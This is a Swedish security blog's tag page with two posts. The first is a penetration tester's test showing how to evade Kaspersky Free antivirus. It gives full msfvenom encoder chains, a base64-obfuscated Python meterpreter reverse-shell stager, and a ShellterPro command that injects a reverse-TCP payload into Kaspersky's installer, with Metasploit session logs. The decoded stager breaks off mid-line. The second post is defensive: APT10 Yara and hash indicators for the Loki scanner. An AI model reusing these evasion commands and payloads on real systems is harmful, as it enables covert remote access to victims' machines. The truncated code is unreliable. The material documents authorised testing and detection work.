Taggat med: Loki

Test av gratis anti-virus från Kaspersky

Kaspersky lanserade nyligen en gratis version av sin antivirusmjukvara och jag bestämde mig för att testa vad den går för. Som del av mina uppdrag då jag testar säkerheten för mina uppdragsgivare (penetrationstester) så förekommer det att jag får i uppdrag att ta mig förbi eventuella säkerhetsprodukter såsom sandlådor och antivirus.

Det råder ingen tvekan om att det går att ta sig förbi majoriteten av alla säkerhetssystem såsom sandlådor, data loss prevention-verktyg och antivirus. Att däremot upptäcka i tid när någon försöker ta sig förbi ett säkerhetssystem och reagera på detta är avgörande.

Allmänna synpunkter om Kaspersky Free

Att ladda hem och installera Kaspersky Free Anti-Virus gick smidigt. Vid installationen fick jag frågan om jag vill ingå i Kaspersky Security Network (KSN) och då dela med mig av information om min dator samt skadlig kod som upptäcks på min dator. Jag förstår att inget i livet är gratis och att om jag använder Kaspersky Free så måste jag dela med mig av något. Men det verkar inte som att det är ett måste att ingå i KSN.

Nästa fundering är att det står att licensen gäller i 365 dagar. Vad händer efter det?

Test 1: Testvirus Eicar vs Kaspersky

Det första testet jag genomför är att ladda hem testviruset Eicar. Det finns på eicar.org och går att ladda hem på lite olika sätt: Direkt via HTTP, HTTPS eller i zip-fil. När jag laddar hem Eicar via HTTP så får jag ett meddelande direkt i webbläsaren att jag försöker ladda hem skadlig kod, vilket då påvisar att Kaspersky granskar okrypterad webbtrafik.

När jag försöker ladda hem Eicar via HTTPS så får jag inget meddelande, men jag varnas om jag aktivt försöker starta filen eller söker igenom filen. Detta visar på att Kaspersky ej troligtvis genomför MITM (man i mitten på HTTPS-surf).

Bra, då har vi verifierat att Kaspersky Free Anti-Virus är korrekt installerat.

Test 2: Powershell implantat vs Kaspersky

Nu börjar det bli lite mer avancerat. I detta test  tänker jag testa ett implantat som heter PoshC2 och ligger på Github. Implantatet kan levereras via MS16-051, Word-makron eller Java JAR-filer. Jag väljer att köra via ett Word-makro och installation samt kommunikation fungerar utmärkt.

PoshC2-implantat vs. Kaspersky

Skärmdumpen ovan påvisar att beacon skickas var femte sekund och att användaren heter IEUser. Eftersom Kaspersky var dålig på att upptäcka detta implantat så testar jag även att skicka upp Word-dokumentet till VirusTotal:

Bland de antivirus-motorer som detekterar denna skadlig kod är Avira, Avast, Fortinet och AVG.  Jag noterar också att den gratis IOC-skannern Loki detekterar detta.

Test 3: Metasploit vs Kaspersky

Med hjälp av operativsystemet Kali Linux där Metasploit finns förinstallerat skapar jag en meterpreter reverse TCP payload.

Jag använder msfvenom på följande sätt:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.101.2.254 LPORT=443 -f raw -e x86/shikata_ga_nai -i 9 | msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 11 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 6 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 7 -x kfa17.0.0.611abcsv_11811.exe -k -f exe -o kfa17.0.0.611abcsv_11811-meterpreter-msf.exe

Ovan kommandorad använder flertalet obfuskerare såsom shikata-ga-nai och lägger till Metasploits modul för att ansluta hem.

Denna payload gömmer vi sedan i Kasperskys egen installationsfil kfa17.0.0.611abcsv_11811.exe.

Detta var dock ingen match för Kaspersky att upptäcka:

Nästa test jag gör med Metasploit är att skapa en Python payload med hjälp av msfvenom:

msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.99.101 LPORT=443

Denna kod måste jag sedan modifiera så den fungerar tillsammans med PyInstaller som skapar en fristående .exe-fil.

Ser ut ungefär så här:

import base64,sys,socket,code,platform,shutil
exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguOTkuMTAxJyw0NDMpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK')))

Vilket motsvarar följande kod utan Base64-kodning:

import socket,struct,time
for x in range(10):
  try:
	s=socket.socket(2,socket.SOCK_STREAM)
	s.connect(('192.168.99.101',443))
	break
  except:
	time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
  while len(d)

När jag sedan testar att köra exe-filen från PyInstaller så blir det ingen detektion hos Kaspersky:

[*] Sending stage (40747 bytes) to 192.168.99.100
[*] Meterpreter session 6 opened (192.168.99.101:443 -> 192.168.99.100:50511) at 2017-08-24 09:44:11 -0400
 msf exploit(handler) > sessions -i 6
[*] Starting interaction with 6...

meterpreter > sysinfo
 Computer : IE11Win8_1
 OS : Windows 8.1 6.3.9600
 Architecture : x86
 Meterpreter : python/windows
 meterpreter >

Eftersom Kaspersky inte lyckades att detektera mitt test är det intressant att se vad VirusTotal säger om filen. Nu får jag en detektionsratio på 13 av 64 antivirus-motorer.

Test 4: Shellter vs Kaspersky

Shellter Project är ett intressant verktyg som enligt utvecklaren kan användas för att dynamiskt injicera shellcode i PE-filer (Portable Executable).

Shellter is a dynamic shellcode injection tool, and the first truly dynamic PE infector ever created.

Inbyggt i Shellter är möjligheten att skapa ett antal olika Metasploit meterpreter payloads:

  • meterpreter_reverse_tcp
  • meterpreter_reverse_http
  • meterpreter_reverse_https
  • meterpreter_bind_tcp
  • shell_reverse_tcp
  • shell_bind_tcp
  • WinExec

Och väljer du att köpa betalversionen (Pro) för 90 USD så får du ytterligare några payloads:

  • Meterpreter_Reverse_WINHTTP
  • Meterpreter_Reverse_WINHTTPS
  • Shell_Reverse_TCP_DNS

Och har du en egen payload så går det givetvis också bra. Några exempel på egen payload följer med i mappen shellcode_samples.

Jag kör Kali Linux där jag installerat Windows-emulatorn Wine och startar ShellterPro som är betalversionen med hjälp av följande argument:

wine ShellterPro.exe -f ../kfa17.0.0.611abcsv_11811.exe -p meterpreter_reverse_tcp --lhost 192.168.99.101 --port 443 --encode --handler IAT --polyExtra --incSize 500 --Junk -s

Detta gör att payloaden meterpreter_reverse_tcp läggs till i filen kfa17.0.0.611abcsv_11811.exe. Övriga argument har att göra med hur Shellter försöker dölja payloaden för antivirus-program.

Sedan för jag över filen till Windows där Kaspersky körs och får då en anslutning till Metasploit när användaren klickar på filen:

[*] Sending stage (956991 bytes) to 192.168.99.100
[*] Meterpreter session 1 opened (192.168.99.101:443 -> 192.168.99.100:57922) at 2017-08-25 02:38:52 -0400

msf exploit(handler) >
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer : IE11WIN8_1
OS : Windows 8.1 (Build 9600).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >

Laddar jag sedan upp denna testfil till VirusTotal så är det enbart 4 st antivirus-motorer som identifierar denna som skadlig kod:

Slutsats

Det är relativt lätt att ta sig förbi Kaspersky antivirus men ovan visar på att inget antivirus är fullständigt. Om du vill vara på den säkra sidan bör du använda flertalet antivirus-motorer, åtminstone i gateways såsom perimeterskyddet mot internet och vid analys av filer på löstagbart media.

Att använda ett antivirusprogram är helt klart bättre än att inte använda något alls. I ovan tester mot VirusTotal så ingår inte Microsofts eget gratisskydd Security Essentials.

Tack till Laban Sköllermark och Emma Lilliestam för korrekturläsning.

Så identifieras Cloud Hopper APT10

Uppdatering: Min pull-request till Loki-projektets signaturdatabas har nu gått igenom och det enda du behöver göra är att ladda hem och köra Loki för att detektera APT10.

Myndigheten för samhällsskydd och beredskap (MSB) gick i förrgår ut och varnade för omfattande cyberattacker mot bl.a. Svenska managed service providers. Attacken är riktad mot företag som sköter drift och IT-infrastruktur för samhällssektorer som offentlig verksamhet, IT, kommunikation, sjukvård, energi och forskning.

Cyberattacken går under namnet APT10 eller Cloud Hopper och MSB meddelar att attacken har inriktat sig på att infektera system genom att lura människor. De som ligger bakom angreppen har lagt stora resurser på att kartlägga sina mål, organisationer och deras anställda, för att kunna skicka riktade e-postmeddelanden med trovärdiga dokument (så kallat riktat nätfiske, spearphishing).

Jag har tittat på de IOC:er (Indicators of Compromise) som är släppta av företaget PwC och skapat två filer som kan läsas in av en mängd olika verktyg såsom Loki (som jag använde för att identifiera Project Sauron/Remsec sist), för tyvärr så är PwC:s PDF inte helt lättarbetad.

Du kan därför ladda hem och ändra den Yara-fil samt en fil med Md5-checksummor som jag skapat på Github här: https://github.com/jonaslejon/apt10 och använda den direkt med Loki. Du använder filerna genom att lägga filen apt_apt10.yar i underkatalogen signature-base/yara/ och innehållet från hash-iocs.txt längst ner i den befintliga filen signature-base/iocs/hash-iocs.txt. Detta efter du laddat hem Loki här

Jag har även kört sökningar mot VirusTotal med de checksummor som PwC har släppt och tittat på ett antal olika saker såsom när antivirus-företagen identifierade APT10:

Här följer en skärmdump på en träff när jag använder Loki och MD5-filen samt Yara-filen från mitt Github-repo för test:

Och om jag tittar på statistik från VirusTotal gällande APT10 så är antivirus-mjukvaran McAfee bäst på att detektera APT10. Fortfarande identifieras 69 av 300 delar inte av någon antivirus-mjukvara.

Följande tabell visar på antalet detektioner per antivirus-produkt:

205 McAfee
205 GData
204 McAfee-GW-Edition
203 Symantec
198 Kaspersky
197 BitDefender
196 Emsisoft
195 F-Secure
192 MicroWorld-eScan
191 Panda
190 VIPRE
188 Ikarus
183 Fortinet
181 Sophos
181 Ad-Aware
181 AVG
170 ESET-NOD32
167 NANO-Antivirus
159 TrendMicro-HouseCall
159 AVware

Och tittar vi vidare på några av de exploits som används så har antivirus-företagen klassat dem som följande:

  • CVE-2012-0158
  • CVE-2010-3333
  • Exploit.OLE2.Toolbar
  • JS.S.Exploit.121732
  • JS.S.Exploit.166944
  • Exploit.Win32.OLE.78
  • EXP/Office.Exploit.Gen
  • DOC.S.Exploit.164492[h]
  • Exploit-MSWord!1ECBFF1A46A8

Och några ovan är relativt lätta att utläsa såsom CVE-2012-0158 som är en sårbarhet i Active X och CVE-2010-3333 är en sårbarhet i Microsoft Offices hantering av RTF-formatet.

Om du vill hjälpa till så får du gärna göra pull request på Github-repot med mer IOC-data från DHS.

Loki tittar främst på klienter och servrar och därför rekommenderar jag även att titta på nätverkstrafik såsom DNS-uppslagningar, för du har väl sparat undan nätverksdata i PCAP-format?